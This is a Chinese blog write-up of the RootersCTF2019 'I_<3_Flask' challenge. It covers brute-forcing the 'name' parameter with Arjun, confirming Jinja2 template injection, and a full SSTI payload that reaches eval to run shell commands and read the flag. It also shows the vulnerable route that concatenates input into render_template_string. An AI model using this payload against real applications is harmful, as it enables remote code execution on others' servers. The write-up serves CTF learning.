zoukankan      html  css  js  c++  java
  • [RootersCTF2019] I_<3_Flask

    简单的参数爆破+jinja2模板注入(ssti)

    解题过程

    打开题目,从题目名称以及主页面可知题目是由Flask搭建
    第一思路应该是寻找Flash路由,扫了一下发现没有源码泄漏,常见的一些隐藏提示点都看了一下,发现没有什么提示
    在这里就需要考虑一下参数爆破了,使用工具Arjun进行参数爆破:
    python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5
    讲道理这里-d 5的作用是请求间隔,BUUOJ设置了防D,如果不加-d 5可能就会429然后导致爆破不出来,当然,加上延时后速度自然慢的离谱
    看了集电视剧之后回来看到爆破出了参数name
    在URL后面加上/?name=1测试一下:

    简单测试一下是否存在ssti,构造/?name={{2*2}}请求:

    可以看到{{2*2}}被直接执行了,判断一下发现是jinja2的模板,fuzz一下发现没有什么过滤,直接上RCE的payload:

    {% for c in [].__class__.__base__.__subclasses__() %} 
      {% if c.__name__ == 'catch_warnings' %} 
        {% for b in c.__init__.__globals__.values() %} 
          {% if b.__class__ == {}.__class__ %}
            {% if 'eval' in b.keys() %} 
              {{ b['eval']('__import__("os").popen("ls").read()') }}    //这里的ls就是需要的执行命令
            {% endif %} 
          {% endif %} 
         {% endfor %} 
      {% endif %}
    {% endfor %}
    

    先ls列出目录:
    I ♥ Flask & application.py flag.txt requirements.txt static templates
    然后直接执行cat flag.txt即可得到flag:

    题目做完之后反过来再看看路由怎么写的:

    from flask import Flask, render_template_string, request 
    
    app = Flask(__name__) 
    app.secret_key = "fuk9dfuk5680fukbddbee2fuk" 
    
    @app.route('/', methods=['GET']) 
    
    def index(): 
      name = 'Flask' + ' & ' + request.args.get("name", default="Flask") 
      //可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞
      template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I &hearts; """ + name + """ </div> {% endblock %}"""  
      return render_template_string(template) 
    
    if __name__ == '__main__': 
      app.run(debug=False)
    

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    Atitit 数据库view视图使用推荐规范与最佳实践与方法
    Atitit mybatis快速开发 的sql api接口
    一个数据包经过路由器和交换机各会发生什么变化
    c preprocessor
    A database of opensource HTTP proxies written in python.
    google chrome os下载
    一道笔试题多字串查找
    一个老题:将正整数n分为若干num个不同的正整数之和
    web dev framework
    memory leakage
  • 原文地址:https://www.cnblogs.com/yesec/p/14905799.html
Copyright © 2011-2022 走看看